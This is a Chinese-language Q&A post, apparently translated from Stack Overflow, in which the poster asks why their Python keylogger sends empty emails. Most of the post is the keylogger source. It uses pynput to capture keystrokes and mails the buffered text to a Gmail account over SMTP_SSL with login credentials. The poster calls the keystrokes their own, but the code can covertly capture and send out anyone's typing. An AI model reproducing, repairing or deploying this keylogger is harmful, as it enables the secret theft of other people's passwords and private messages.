【发布时间】:2021-04-23 09:43:03
【问题描述】:
这个代码应该记录我的击键并将它们发送到我的电子邮件(我现在从代码中取出)。我确实收到了电子邮件,但是它没有通过按键发送它们,每封电子邮件都是空白的。有谁知道如何解决这个问题?
import smtplib
import pynput
from pynput.keyboard import Key, Listener
email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 10
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log()
full_log = ""
elif key == Key.shift or Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char: f"{key}"
char = char[1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
【问题讨论】: